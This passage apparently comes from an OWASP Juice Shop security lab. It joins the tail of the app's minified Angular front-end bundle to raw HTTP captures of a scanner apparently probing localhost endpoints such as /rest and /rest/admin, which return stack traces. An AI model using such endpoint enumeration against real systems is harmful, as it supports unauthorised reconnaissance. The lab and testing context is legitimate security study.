e=t.EpF();t.TgZ(0,"a",64),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," exposure_plus_2 "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"TITLE_TWO_FACTOR_AUTH_CONFIG"),t.qZA()()}}function sd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",65),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," place "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"LAST_LOGIN_IP"),t.qZA()()}}function ld(n,a){if(1&n&&(t.TgZ(0,"div",41),t.YNc(1,nd,5,0,"a",53),t.YNc(2,od,5,0,"a",54),t.YNc(3,ad,5,0,"a",55),t._UZ(4,"mat-divider"),t.YNc(5,id,5,0,"a",56),t.YNc(6,rd,5,0,"a",57),t.YNc(7,sd,5,0,"a",58),t.qZA()),2&n){const e=t.oxw();t.Q6J("ngClass",t.VKq(7,on,e.showPrivacySubmenu)),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(2),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn())}}function cd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",66),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return i.onToggleSidenav(),t.KtG(i.logout())}),t.TgZ(1,"mat-icon"),t._uU(2," power_settings_new "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"TITLE_LOGOUT")," "))}function ud(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",67),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.TgZ(1,"i",13),t._uU(2," sentiment_dissatisfied "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"NAV_COMPLAIN")," "))}function pd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",68),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.TgZ(1,"i",13),t._uU(2," chat "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"SECTION_SUPPORT_CHAT")," "))}function dd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",69),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.TgZ(1,"i",13),t._uU(2," card_membership "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"LABEL_DELUXE_MEMBERSHIP")," "))}function md(n,a){1&n&&t._UZ(0,"mat-divider",70)}function gd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",71),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.ALo(1,"async"),t._UZ(2,"mat-icon",72),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("routerLink",t.lcZ(1,2,e.scoreBoardLink$)),t.xp6(4),t.hij(" ",t.lcZ(5,4,"TITLE_SCORE_BOARD")," ")}}function hd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",73),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.startHackingInstructor())}),t.TgZ(1,"i",13),t._uU(2," school "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"BTN_GETTING_STARTED")," "))}function _d(n,a){1&n&&(t.TgZ(0,"a",74),t._UZ(1,"mat-icon",75),t.TgZ(2,"span",14),t._uU(3," GitHub "),t.qZA()())}let fd=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q,Y){this.administrationService=e,this.challengeService=o,this.ngZone=i,this.io=r,this.userService=l,this.cookieService=m,this.router=v,this.configurationService=A,this.loginGuard=q,this.featureFlagService=Y,this.applicationName="OWASP Juice Shop",this.showGitHubLink=!0,this.userEmail="",this.scoreBoardVisible=!1,this.version="",this.showPrivacySubmenu=!1,this.showOrdersSubmenu=!1,this.isShowing=!1,this.offerScoreBoardTutorial=!1,this.sidenavToggle=new t.vpe,this.onToggleSidenav=()=>{this.sidenavToggle.emit()}}ngOnInit(){this.administrationService.getApplicationVersion().subscribe(e=>{e&&(this.version=`v${e}`)},e=>{console.log(e)}),this.getApplicationDetails(),this.getScoreBoardStatus(),localStorage.getItem("token")?this.getUserDetails():this.userEmail="",this.userService.getLoggedInState().subscribe(e=>{e?this.getUserDetails():this.userEmail=""}),this.ngZone.runOutsideAngular(()=>{this.io.socket().on("challenge solved",e=>{"scoreBoardChallenge"===e.key&&(this.scoreBoardVisible=!0)})}),this.scoreBoardLink$=this.featureFlagService.defaultScoreBoard$.pipe((0,C.U)(e=>"v1"===e?"/score-board-legacy":"/score-board"))}isLoggedIn(){return localStorage.getItem("token")}logout(){var e=this;this.userService.saveLastLoginIp().subscribe(o=>{this.noop()},o=>{console.log(o)}),localStorage.removeItem("token"),this.cookieService.remove("token"),sessionStorage.removeItem("bid"),sessionStorage.removeItem("itemTotal"),this.userService.isLoggedIn.next(!1),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/"])}))}goToProfilePage(){window.location.replace(P.N.hostServer+"/profile")}goToDataErasurePage(){window.location.replace(P.N.hostServer+"/dataerasure")}noop(){}getScoreBoardStatus(){this.challengeService.find({name:"Score Board"}).subscribe(e=>{this.ngZone.run(()=>{this.scoreBoardVisible=e[0].solved})},e=>{console.log(e)})}getUserDetails(){this.userService.whoAmI().subscribe(e=>{this.userEmail=e.email},e=>{console.log(e)})}getApplicationDetails(){this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.name&&(this.applicationName=e.application.name),e?.application&&(this.showGitHubLink=e.application.showGitHubLinks),e?.application.welcomeBanner.showOnFirstStart&&e.hackingInstructor.isEnabled&&(this.offerScoreBoardTutorial=e.application.welcomeBanner.showOnFirstStart&&e.hackingInstructor.isEnabled)},e=>{console.log(e)})}isAccounting(){return"accounting"===this.loginGuard.tokenDecode()?.data?.role}startHackingInstructor(){this.onToggleSidenav(),console.log(\'Starting instructions for challenge "Score Board"\'),Promise.resolve().then(c.bind(c,1096)).then(e=>{e.startHackingInstructorFor("Score Board")})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(he),t.Y36(ot),t.Y36(t.R0b),t.Y36(st),t.Y36(R),t.Y36(I.N_),t.Y36(U.F0),t.Y36(b.e),t.Y36(W),t.Y36(ge))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["sidenav"]],outputs:{sidenavToggle:"sidenavToggle"},decls:72,vars:27,consts:[["color","primary",1,"mat-elevation-z6"],["mat-button","",2,"height","0","position","absolute"],["mat-subheader","","translate","","fxHide","","fxShow.lt-md","",1,"side-subHeader"],["fxHide","","fxShow.lt-md",""],["mat-list-item","","routerLink","/login","aria-label","Go to login page",3,"click",4,"ngIf"],["mat-list-item","","aria-label","Go to user profile",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/accounting","aria-label","Go to accounting page",3,"click",4,"ngIf"],["class","parent","aria-label","Show Orders and Payment Menu",3,"click",4,"ngIf"],["class","submenu",3,"ngClass",4,"ngIf"],["class","parent","aria-label","Show Privacy and Security Menu",3,"click",4,"ngIf"],["mat-list-item","","aria-label","Logout",3,"click",4,"ngIf"],["mat-subheader","","translate","",1,"side-subHeader"],["mat-list-item","","routerLink","/contact","aria-label","Go to contact us page",3,"click"],[1,"material-icons"],[1,"menu-text","truncate"],["mat-list-item","","routerLink","/complain","aria-label","Go to complain page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/chatbot","aria-label","Go to chatbot page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/about","aria-label","Go to about us page",3,"click"],["mat-list-item","","routerLink","/photo-wall","aria-label","Go to photo wall",3,"click"],["mat-list-item","","routerLink","/deluxe-membership","aria-label","Go to deluxe membership page",3,"click",4,"ngIf"],["style","margin-bottom: 10px;",4,"ngIf"],["mat-list-item","","aria-label","Open score-board",3,"routerLink","click",4,"ngIf"],["mat-list-item","","aria-label","Launch beginners tutorial",3,"click",4,"ngIf"],["mat-list-item","","href","./redirect?to=https://github.com/juice-shop/juice-shop","aria-label","Go to OWASP Juice Shop GitHub page",4,"ngIf"],[1,"appVersion"],[2,"font-size","13px"],[2,"font-size","12px"],[2,"margin-top","10px"],[1,"icon-angular"],[1,"icon-html5"],[1,"icon-sass"],[1,"icon-css3"],[1,"icon-javascript-alt"],[1,"icon-nodejs"],[1,"icon-database-alt2"],[1,"icon-mongodb"],["mat-list-item","","routerLink","/login","aria-label","Go to login page",3,"click"],["mat-list-item","","aria-label","Go to user profile",3,"click"],["mat-list-item","","routerLink","/accounting","aria-label","Go to accounting page",3,"click"],["aria-label","Show Orders and Payment Menu",1,"parent",3,"click"],[1,"menu-button",3,"ngClass"],[1,"submenu",3,"ngClass"],["mat-list-item","","routerLink","/order-history","aria-label","Go to order history page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/recycle","aria-label","Go to recycling page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/address/saved","aria-label","Go to saved address page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/saved-payment-methods","aria-label","Go to saved payment methods page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/wallet","aria-label","Go to wallet page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","/order-history","aria-label","Go to order history page",3,"click"],["mat-list-item","","routerLink","/recycle","aria-label","Go to recycling page",3,"click"],["mat-list-item","","routerLink","/address/saved","aria-label","Go to saved address page",3,"click"],["mat-list-item","","routerLink","/saved-payment-methods","aria-label","Go to saved payment methods page",3,"click"],["mat-list-item","","routerLink","/wallet","aria-label","Go to wallet page",3,"click"],["aria-label","Show Privacy and Security Menu",1,"parent",3,"click"],["mat-list-item","","routerLink","privacy-security/privacy-policy","aria-label","Go to privacy policy page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","privacy-security/data-export","aria-label","Go to data export page",3,"click",4,"ngIf"],["mat-list-item","","aria-label","Go to data subject page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","privacy-security/change-password","aria-label","Go to change password page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","privacy-security/two-factor-authentication","aria-label","Go to two factor authentication page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","privacy-security/last-login-ip","aria-label","Go to last login ip page",3,"click",4,"ngIf"],["mat-list-item","","routerLink","privacy-security/privacy-policy","aria-label","Go to privacy policy page",3,"click"],["translate","",1,"menu-text","truncate"],["mat-list-item","","routerLink","privacy-security/data-export","aria-label","Go to data export page",3,"click"],["mat-list-item","","aria-label","Go to data subject page",3,"click"],["mat-list-item","","routerLink","privacy-security/change-password","aria-label","Go to change password page",3,"click"],["mat-list-item","","routerLink","privacy-security/two-factor-authentication","aria-label","Go to two factor authentication page",3,"click"],["mat-list-item","","routerLink","privacy-security/last-login-ip","aria-label","Go to last login ip page",3,"click"],["mat-list-item","","aria-label","Logout",3,"click"],["mat-list-item","","routerLink","/complain","aria-label","Go to complain page",3,"click"],["mat-list-item","","routerLink","/chatbot","aria-label","Go to chatbot page",3,"click"],["mat-list-item","","routerLink","/deluxe-membership","aria-label","Go to deluxe membership page",3,"click"],[2,"margin-bottom","10px"],["mat-list-item","","aria-label","Open score-board",3,"routerLink","click"],["matListIcon","",1,"fas","fa-trophy","fa-lg"],["mat-list-item","","aria-label","Launch beginners tutorial",3,"click"],["mat-list-item","","href","./redirect?to=https://github.com/juice-shop/juice-shop","aria-label","Go to OWASP Juice Shop GitHub page"],["matListIcon","",1,"fab","fa-github","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-toolbar",0)(1,"mat-toolbar-row")(2,"h2"),t._uU(3),t.qZA()()(),t.TgZ(4,"mat-nav-list"),t._UZ(5,"button",1),t.TgZ(6,"h3",2),t._uU(7,"ACCOUNT"),t.qZA(),t.TgZ(8,"div",3),t.YNc(9,Hp,6,3,"a",4),t.YNc(10,Gp,5,1,"a",5),t.YNc(11,jp,6,3,"a",6),t.YNc(12,Kp,8,6,"mat-list-item",7),t.YNc(13,td,7,8,"div",8),t.YNc(14,ed,8,6,"mat-list-item",9),t.YNc(15,ld,8,9,"div",8),t.YNc(16,cd,6,3,"a",10),t.qZA(),t._UZ(17,"mat-divider",3),t.TgZ(18,"h3",11),t._uU(19,"TITLE_CONTACT"),t.qZA(),t.TgZ(20,"a",12),t.NdJ("click",function(){return o.onToggleSidenav()}),t.TgZ(21,"i",13),t._uU(22," feedback "),t.qZA(),t.TgZ(23,"span",14),t._uU(24),t.ALo(25,"translate"),t.qZA()(),t.YNc(26,ud,6,3,"a",15),t.YNc(27,pd,6,3,"a",16),t._UZ(28,"mat-divider"),t.TgZ(29,"h3",11),t._uU(30,"COMPANY"),t.qZA(),t.TgZ(31,"a",17),t.NdJ("click",function(){return o.onToggleSidenav()}),t.TgZ(32,"i",13),t._uU(33," business_center "),t.qZA(),t.TgZ(34,"span",14),t._uU(35),t.ALo(36,"translate"),t.qZA()(),t.TgZ(37,"a",18),t.NdJ("click",function(){return o.onToggleSidenav()}),t.TgZ(38,"i",13),t._uU(39," camera "),t.qZA(),t.TgZ(40,"span",14),t._uU(41),t.ALo(42,"translate"),t.qZA()(),t.YNc(43,dd,6,3,"a",19),t.YNc(44,md,1,0,"mat-divider",20),t.YNc(45,gd,6,6,"a",21),t.YNc(46,hd,6,3,"a",22),t.YNc(47,_d,4,0,"a",23),t.qZA(),t.TgZ(48,"div",24)(49,"span")(50,"span",25),t._uU(51),t.qZA(),t._UZ(52,"br"),t.TgZ(53,"span",26),t._uU(54),t.qZA(),t._UZ(55,"br"),t.TgZ(56,"div",27),t._UZ(57,"i",28),t._uU(58,"\\xa0 "),t._UZ(59,"i",29),t._uU(60,"\\xa0 "),t._UZ(61,"i",30),t._uU(62,"\\xa0 "),t._UZ(63,"i",31),t._uU(64,"\\xa0 "),t._UZ(65,"i",32),t._uU(66,"\\xa0 "),t._UZ(67,"i",33),t._uU(68,"\\xa0 "),t._UZ(69,"i",34),t._uU(70,"\\xa0 "),t._UZ(71,"i",35),t.qZA()()()),2&e&&(t.xp6(3),t.hij(" ",o.applicationName,""),t.xp6(6),t.Q6J("ngIf",!o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()&&o.isAccounting()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.showOrdersSubmenu),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.showPrivacySubmenu),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(8),t.hij(" ",t.lcZ(25,21,"SECTION_CUSTOMER_FEEDBACK")," "),t.xp6(2),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(8),t.hij(" ",t.lcZ(36,23,"TITLE_ABOUT")," "),t.xp6(6),t.hij(" ",t.lcZ(42,25,"LABEL_PHOTO_WALL")," "),t.xp6(2),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.scoreBoardVisible||o.showGitHubLink),t.xp6(1),t.Q6J("ngIf",o.scoreBoardVisible),t.xp6(1),t.Q6J("ngIf",!o.scoreBoardVisible&&o.offerScoreBoardTutorial),t.xp6(1),t.Q6J("ngIf",o.showGitHubLink),t.xp6(4),t.Oqu(o.applicationName),t.xp6(3),t.Oqu(o.version))},dependencies:[h.mk,h.O5,U.rH,u.Pi,$.b8,$.oO,yt.Ye,yt.rD,F.Hw,x.lW,z.d,Zt.Hk,Zt.Tg,Zt.Nh,Zt.gs,h.Ov,u.X$],styles:["mat-toolbar[_ngcontent-%COMP%]{height:auto;min-width:100%;padding-bottom:5px;width:100%}a[_ngcontent-%COMP%]{text-decoration:none!important}.menu-text[_ngcontent-%COMP%]{padding-left:10px}.mat-list-base[_ngcontent-%COMP%], .mat-list-item[_ngcontent-%COMP%], .mat-list-icon[_ngcontent-%COMP%]{padding:0!important}.toolbar-title[_ngcontent-%COMP%]{margin:0 16px}.mat-subheader[_ngcontent-%COMP%]{font-size:18px;font-weight:900}.app-nav-list-icon[_ngcontent-%COMP%]{margin:0 12px}.side-subHeader[_ngcontent-%COMP%]{font-weight:300}mat-nav-list[_ngcontent-%COMP%]{margin-bottom:50px}.menu-button[_ngcontent-%COMP%]{transform:rotate(0);transition:.3s ease-in-out}.menu-button.rotated[_ngcontent-%COMP%]{transform:rotate(180deg)}.submenu[_ngcontent-%COMP%]{overflow-y:hidden;padding-left:30px;transform:scaleY(0);transform-origin:top;transition:transform .3s ease}.submenu.expanded[_ngcontent-%COMP%]{transform:scaleY(1)}.appVersion[_ngcontent-%COMP%]{margin-bottom:20px;margin-top:20px;text-align:center}.truncate[_ngcontent-%COMP%]{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}"]}),n})();O.vz.watch();let Cd=(()=>{class n{constructor(e,o){this._document=e,this.translate=o,this.translate.setDefaultLang("en")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(h.K0),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-root"]],decls:10,vars:0,consts:[[1,"mat-typography"],["fullscreen",""],["mode","over"],["sidenav",""],[3,"sidenavToggle"]],template:function(e,o){if(1&e){const i=t.EpF();t.TgZ(0,"div",0)(1,"mat-sidenav-container",1)(2,"mat-sidenav",2,3)(4,"sidenav",4),t.NdJ("sidenavToggle",function(){t.CHM(i);const l=t.MAs(3);return t.KtG(l.toggle())}),t.qZA()(),t.TgZ(5,"app-navbar",4),t.NdJ("sidenavToggle",function(){t.CHM(i);const l=t.MAs(3);return t.KtG(l.toggle())}),t.qZA(),t._UZ(6,"app-server-started-notification")(7,"app-challenge-solved-notification")(8,"app-welcome")(9,"router-outlet"),t.qZA()()}},dependencies:[U.lC,At.JX,At.TM,Ip,Pp,Dp,Qp,fd],styles:[".mat-sidenav[_ngcontent-%COMP%]{width:280px}"]}),n})(),vd=(()=>{class n{intercept(e,o){return localStorage.getItem("token")&&(e=e.clone({setHeaders:{Authorization:`Bearer ${localStorage.getItem("token")}`}})),localStorage.getItem("email")&&(e=e.clone({setHeaders:{"X-User-Email":String(localStorage.getItem("email"))}})),o.handle(e)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})();var xd=c(6784),bd=c(8746);let Td=(()=>{class n{}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275mod=t.oAB({type:n}),n.\\u0275inj=t.cJS({imports:[h.ez,s.u5,x.ot,N.Is,f.lN,f.lN,F.Ps,B.c,vt.LD,Q.AV,nt.Fk,s.UX,U.Bz,u.aw,We.Cq]}),n})();var Ad=c(8184);function yd(n){return new up.w(n,"./assets/i18n/",".json")}let Zd=(()=>{class n{constructor(e,o){this.configurationService=e,this.overlayContainer=o,e.getApplicationConfiguration().subscribe(i=>{o.getContainerElement().classList.add(i.application.theme+"-theme")})}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(b.e),t.LFG(Ad.Xj))},n.\\u0275mod=t.oAB({type:n,bootstrap:[Cd]}),n.\\u0275inj=t.cJS({providers:[{provide:L.TP,useClass:vd,multi:!0},{provide:oe.rN,useValue:{coreLibraryLoader:(a=(0,w.Z)(function*(){return yield c.e(112).then(c.bind(c,9112))}),function(){return a.apply(this,arguments)}),lineNumbersLoader:function(){var a=(0,w.Z)(function*(){return yield c.e(859).then(c.t.bind(c,859,23))});return function(){return a.apply(this,arguments)}}(),languages:{typescript:function(){var a=(0,w.Z)(function*(){return yield c.e(535).then(c.bind(c,2535))});return function(){return a.apply(this,arguments)}}(),javascript:function(){var a=(0,w.Z)(function*(){return yield c.e(613).then(c.bind(c,6613))});return function(){return a.apply(this,arguments)}}(),yaml:function(){var a=(0,w.Z)(function*(){return yield c.e(472).then(c.bind(c,8472))});return function(){return a.apply(this,arguments)}}()}}},Pt,b.e,he,Ht,Be,R,be,Ce,Lt,Vt,Kt,Se,ke,Qt,Ie,X,ot,I.N_,Ot,W,ue,Ut,ht,Fe,Ge.t,mt,Wt,ce,pe,Dt,He,ge],imports:[k.b2,ip,u.aw.forRoot({loader:{provide:u.Zw,useFactory:yd,deps:[L.eN]}}),I.m$.forRoot(),Ct.tw.forRoot(),xd.o9,L.JF,s.UX,bd.PW,xe.uK,se.N,te.Ob,tn.Iq,ae.ef,yt.g0,F.Ps,s.u5,f.lN,vt.LD,x.ot,At.SJ,d.p0,xt.TU,T.QW,B.c,Xt.p9,N.Is,z.t,Et.FA,Gt.XK,V.To,Ee.Cv,Q.AV,Ft.Tx,Zt.ie,Me.vV,re.xu,zt.N6,en.PQ,De.g,nt.Fk,ut.ZX,ve.KP,Mt.Nh,jt.rP,ie.Hi,Pe.mC,oe._l,Td]}),n;var a})();P.N.production&&(0,t.G48)(),k.q6().bootstrapModule(Zd).catch(n=>console.log(n))}},tt=>{tt.O(0,[736],()=>tt(tt.s=6645)),tt.O()}]);'
GET http://localhost:3000/rest/continue-code HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: application/json, text/plain, */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 79\r\nETag: W/"4f-6FhMg4H2SSdviEYbgMV/q+FgUzg"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:31:26 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'{"continueCode":"aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3"}'
GET http://localhost:3000/rest HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/rest/admin HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/admin</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/admin</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix 